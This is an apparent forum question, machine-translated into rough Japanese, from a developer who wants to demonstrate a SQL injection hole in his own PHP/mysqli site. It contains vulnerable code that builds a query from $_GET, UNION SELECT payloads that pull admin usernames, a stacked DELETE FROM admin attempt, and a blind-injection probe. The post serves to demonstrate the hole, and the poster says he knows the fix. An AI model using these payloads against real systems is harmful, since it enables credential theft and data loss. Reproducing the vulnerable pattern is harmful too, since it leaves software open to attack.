仲間の開発者は、私が維持しているウェブサイトにSQLインジェクションの脆弱性を導入しました。しかし、いくつかの問題があります。MySQLを使用したSQLインジェクション(楽しいチャレンジ)
おおよそであるSQL、撮影:
クエリを実行します13 UNION SELECT 1, username, 3 FROM admin
:私は$_GET['month']
を設定した場合
SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = $_GET['month']
ORDER BY
c.start
を
働くだろうSELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
c.start
場合、 ORDER BYはc.
テーブルエイリアスを含んでいませんでした。代わりに、エラーが発生:
Table 'c' from one of the SELECTs cannot be used in field list
別名
admin
にc
ALIASを追加すると、いずれかの任意の違いはありません。
13 UNION SELECT 1, c.username, 3 FROM admin AS c
私はORDER BYをコメントアウトする--
を使用して試してみましたが、それは新しい行にありますので、これは動作しません:
13 UNION SELECT 1, c.username, 3 FROM admin AS c --
は同様に/*
が動作しません、私は最終的*/
を追加することはできませんので、
13 UNION SELECT 1, c.username, 3 FROM admin AS c /*
スプリット
を照会またmysqli_prepare()
はを好きではないようですどこでもクエリで - そうDROP、DELETE、またはTRUNCATEがSQL構文エラーになり:
13; DELETE FROM admin;
ソリューション
瞬間に私がやって考えることができる唯一の事はあります攻撃者は、以下のように、イエス/ノー応答(一部のレコードまたはレコードなし)を取得することはできませんので、WHERE句に追加する - これは、レコードを見て未満満足です
SELECT
c.id,
c.name,
c.start_estimate
FROM
thr_course_term AS c
WHERE
MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
c.start_estimate;
:-)画面に表示されます
SQLはmysqli
とPHPで実行されている
ソースコード、ラフコードビーイング:
<?php
$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']
$sql = 'SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = ' . $month . '
ORDER BY
c.start';
$link = mysqli_connect('localhost', 'username', 'password', 'database');
$statement = mysqli_prepare($link, $sql);
if (!$statement) {
echo $link->error;
} else {
// Skip the bind_param bit
$result = $statement->execute();
$result = $statement->get_result();
while ($row = mysqli_fetch_assoc($result)) {
print_r($row);
}
}
?>
いいえ、私はどのように防止するかを知っています:私は悪用する方法を示すことを試みています: –
'1または1 = 1'はすべてを返すでしょうか? @AlexK。 –
しかし、私は結果の末尾に管理ユーザ名を追加しようとしています:-) –